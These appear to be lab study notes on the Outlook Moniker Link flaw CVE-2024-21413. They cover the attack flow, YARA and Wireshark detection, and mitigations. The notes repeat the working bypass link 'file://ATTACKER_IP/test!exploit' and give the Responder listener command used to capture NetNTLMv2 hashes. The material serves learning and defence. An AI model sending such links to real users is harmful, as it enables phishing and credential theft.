Room - Moniker Link (CVE-2024-21413)

🔐 CVE-2024-21413 (Outlook Moniker Link Vulnerability)

📌 1. What is this vulnerability?

CVE-2024-21413 is a **critical security flaw** in Microsoft Outlook discovered by Haifei Li.

- It allows:
  - **Remote Code Execution (RCE)**
  - **Credential theft (NTLM leak)**
- Severity: **9.8 (Critical)**
- Attack complexity: **Low (easy to exploit)**

🧠 2. Key concept: What is a *Moniker Link*?

A **Moniker Link** is a special type of hyperlink used in Windows/Outlook that can reference **local or remote resources**.

👉 Example:

- Normal link: `https://example.com`
- Moniker-style link: `file://attacker-server/share`

These links can trigger Windows to **automatically authenticate**.

⚙️ 3. How the vulnerability works (Step-by-step)

🔴 Attack Flow

1. **Attacker sends an email**
   - Contains a **malicious Moniker Link**
2. **Victim opens email in Outlook**
   - Even **previewing or clicking** can trigger the issue
3. **Outlook fails to properly protect the link**

    - Bypasses **Protected View**
4. **Windows tries to access attacker server**
    - Uses **NTLM authentication automatically**
5. **Credentials are leaked**
    - Victim's **NTLM hash is sent to attacker**

🛡️ 4. What is "Protected View" and why it failed?

Protected View in Microsoft Outlook is meant to:

- Block unsafe content
- Prevent automatic execution of risky files/links

❌ Problem:

This vulnerability **bypasses Protected View**, meaning:

- Malicious links are treated as safe
- No warning is shown to the user

🔑 5. What are NTLM credentials?

NTLM (NT LAN Manager) is a Windows authentication method.

- When accessing network resources:
    - Windows sends a **hashed version of username/password**
- Attackers can:
    - Capture this hash
    - Use it in **Pass-the-Hash attacks**

⚠️ 6. Why is this dangerous?

- No need for complex hacking
- Just sending an email is enough
- Can lead to:
    - Account compromise
    - Lateral movement in network
    - Full system takeover (if escalated)

🧪 7. Using the vulnerability (conceptually)

⚠️ Only for learning (not for misuse)

An attacker:

- Hosts a malicious SMB server
- Sends email with:

  file://attacker-ip/share

- When clicked:
  - Outlook triggers connection
  - NTLM hash is leaked

🔍 8. Detection methods

🧾 Indicators of compromise:

- Suspicious outbound connections (SMB traffic)
- Unknown external servers contacted
- NTLM authentication attempts to unusual IPs

🛠️ Tools:

- Network monitoring tools
- SIEM systems
- Email security gateways

🛡️ 9. Mitigation & Prevention

✅ Immediate actions:

- Apply Microsoft security updates (patch released Feb 2024)
- Disable NTLM where possible

🔐 Best practices:

- Block outbound SMB traffic (port 445)
- Use **Kerberos instead of NTLM**
- Enable email filtering

- Educate users not to click unknown links

📊 10. Affected versions

Version	Status
Office 2016	Vulnerable (before patch)
Office 2019	Vulnerable
Microsoft 365 Apps	Vulnerable
Office LTSC 2021	Vulnerable

🎯 Summary (Simple)

- Outlook mishandles a special link (**Moniker Link**)
- Attacker sends email → victim clicks → credentials leak
- No warning due to **Protected View bypass**

🧠 How Outlook Processes Links (Normal Behavior)

Microsoft Outlook can:

- Render emails using **HTML**
- Handle links like:
  - `http://`
  - `https://`
  - `file://` (Moniker Links)

👉 These links can sometimes trigger **external applications** on Windows.

🔐 What is Protected View?

Protected View is a built-in security feature in Outlook.

🛡️ Its purpose:

- Opens suspicious emails in **read-only mode**
- Blocks:
  - External file access
  - Macros
  - Unsafe links

👉 So normally, if Outlook sees something like:

<a href="file://ATTACKER_IP/test">Click me</a>

It will:

- Detect it's risky
- Show a **security warning**
- **Block the action**

⚙️ What happens with `file://` links?

When a `file://` link is clicked:

1. Outlook tries to access a **network file**
2. Uses **SMB protocol**
3. Windows automatically sends **NTLM authentication**

👉 This means:

- Your system tries to log in to the attacker's server
- Sends your **NTLM hash**

🚨 The Core Vulnerability (Bypass Trick)

Here's the important part 👇

❌ Normal link (blocked):

file://ATTACKER_IP/test

✅ Malicious modified link:

file://ATTACKER_IP/test!exploit

🔍 Why does this work?

- The **!** **(exclamation mark)** changes how Outlook interprets the link
- Outlook:
  - **Fails to recognize it as dangerous**
  - **Does NOT trigger Protected View properly**

👉 Result:

- No warning popup
- Link executes silently

🔓 Attack Flow (Simple)

1. Attacker sends email with:

   <a href="file://ATTACKER_IP/test!exploit">Click me</a>

2. Victim clicks the link
3. Outlook:
   - Does NOT block it
   - Tries to access attacker server
4. Windows sends:
   - **netNTLMv2 hash**
5. Attacker captures credentials

🔑 Important Insight

👉 The **shared folder does NOT need to exist**

Even if:

file://fake-server/random

Still:

- Windows attempts authentication

- Hash is leaked anyway

💻 Why SMB is involved

- `file://` → triggers **SMB (Server Message Block)**
- SMB uses:
  - Automatic authentication
  - NTLM credentials

⚠️ About Remote Code Execution (RCE)

The vulnerability also mentions **possible RCE**, but:

🧩 Reason:

- Moniker Links use:
  - Windows **COM (Component Object Model)**
    Component Object Model

❗ But:

- No public exploit exists (yet) for RCE in this CVE
- So practically:
  - **Credential theft is the main real-world risk**

🧠 What this attack is doing (big picture)

The attacker's goal is:

👉 *Send an email → trick Outlook → force victim's system to authenticate → steal NTLM hash*

This is done using a **malicious Moniker Link** that bypasses Outlook protection.

⚙️ Step-by-step attack explanation

📧 1. Attacker creates a malicious email

In the PoC, this line is the key:

<a href="file://ATTACKER_MACHINE/test!exploit">Click me</a>

👉 Important points:

- `file://` → tells Outlook to open a file from a network
- `!exploit` → **bypasses Protected View**
- This is the **core trick**

🐍 2. Python script sends the email

The script in your file:

- Uses `smtplib` to send email
- Builds HTML content
- Sends it to victim

👉 So attacker automates phishing email delivery

📌 From your file:

- Sender → attacker email
- Receiver → victim email
- HTML → contains malicious link

🌐 3. Attacker starts a listener (Responder)

Command:

responder -I ens5

👉 This tool:

- Acts like a fake server
- Waits for incoming authentication requests
- Captures **NTLM hashes**

🖱️ 4. Victim opens email and clicks link

When victim clicks:

file://ATTACKER_MACHINE/test!exploit

Outlook:

- ❌ Does NOT trigger Protected View
- ✅ Tries to access attacker machine

🔐 5. Windows automatically sends credentials

Because it's a `file://` link:

- Uses **SMB protocol**
- Automatically sends:
  - Username
  - **netNTLMv2 hash**

👉 No password prompt!
👉 Happens silently

📡 6. Attacker captures the hash

Responder shows something like:

[+] NTLMv2 hash captured from victim

👉 This is the success point:

- Attacker now has victim's authentication hash

🔥 Important concept: Why this works

🧩 Key reasons:

1. Outlook supports `file://`

- Used to open network files

2. SMB auto-authentication

- Windows sends credentials automatically

3. Protected View bypass

- ❗ tricks Outlook
- No warning shown

⚠️ Critical insight

👉 The file/share doesn't need to exist

Even this works:

file://fake-ip/anything!exploit

Because:

- Authentication happens **before checking file**

🧪 What the PoC proves

From your file:

- Email is successfully sent
- Victim clicks link
- Responder captures hash

👉 Final result:
✔ Credential leakage achieved

🧪 1. YARA Rule – Detecting the Malicious Email

📌 What is YARA?

YARA is a tool used by security analysts to:

- Scan files/emails
- Detect patterns of malicious content

👉 Think of it like:

> "If a file matches these patterns → flag it as suspicious"

🔍 What this rule is trying to detect

This rule detects:
👉 Emails containing **malicious Moniker Links (`file://`)** used in **CVE-2024-21413**

🧠 Key parts of the rule

🧾 Meta section (information only)

description = "Detects emails..."
author = "Florian Roth"

👉 Just describes:

- What the rule does
- Who created it

🔤 Strings section (actual detection logic)

1. Email indicators:
$a1 = "Subject: "
$a2 = "Received: "

👉 Ensures:

- The scanned file is likely an **email**

---

2. Malicious pattern (IMPORTANT)
$xr1 = /file:\/\/\/\\\\...!/

👉 This is the **core detection logic**

💡 What it looks for:

- `file://` → Moniker link
- `\\\\` → network path (SMB share)
- File extensions (like `.pdf`, `.exe`, etc.)
- Ends with `!` → **bypass trick**

👉 So it detects patterns like:

file://\\attacker\file.pdf!

⚙️ Condition section

filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)

👉 Meaning:

- File is small (email size)
- Must contain:
  - Email headers (`Subject`, `Received`)
  - At least one malicious pattern

🎯 Summary (YARA)

👉 *"This rule detects emails that contain suspicious file:// links with the '!' trick used to bypass Outlook security."*

🌐 2. Wireshark – Detecting the Network Attack

📌 What is Wireshark?

Wireshark is used to:

- Capture network traffic
- Analyze packets

🔍 What happens during the attack (network level)

When victim clicks the malicious link:

file://ATTACKER_IP/test!exploit

👉 This triggers:

1. **SMB connection attempt**
2. Victim → Attacker machine
3. Authentication starts

📡 What you see in Wireshark

🧾 SMB Authentication Packets

You'll observe:

- Protocol: **SMB**
- Messages like:
  - `Session Setup Request`
  - `NTLMSSP_AUTH`

🔐 netNTLMv2 Hash in packets

Inside the packet:

- Username
- Domain
- **netNTLMv2 hash (partially visible)**

👉 Example (simplified):

User: victim

NTLMv2 Response: 112233aabbcc...

⚠️ Why it is “truncated”

- Wireshark may not show full hash
- But still enough to:
  - Confirm attack
  - Detect credential leakage

🎯 What this proves

👉 Even without malware:

- Just clicking a link causes:
  - **Authentication leak**
  - Over the network

🔗 Connecting Both (Important for Exams)

Detection Type	What it detects
YARA	Malicious email content
Wireshark	Actual credential leakage

🧩 Simple Flow

Email (YARA detects) → Click → SMB traffic → Hash leak (Wireshark detects)

🎯 One-line explanation

👉 *“YARA detects the malicious email containing the crafted file:// link, while Wireshark captures the resulting SMB authentication that leaks the victim’s NTLM hash.”*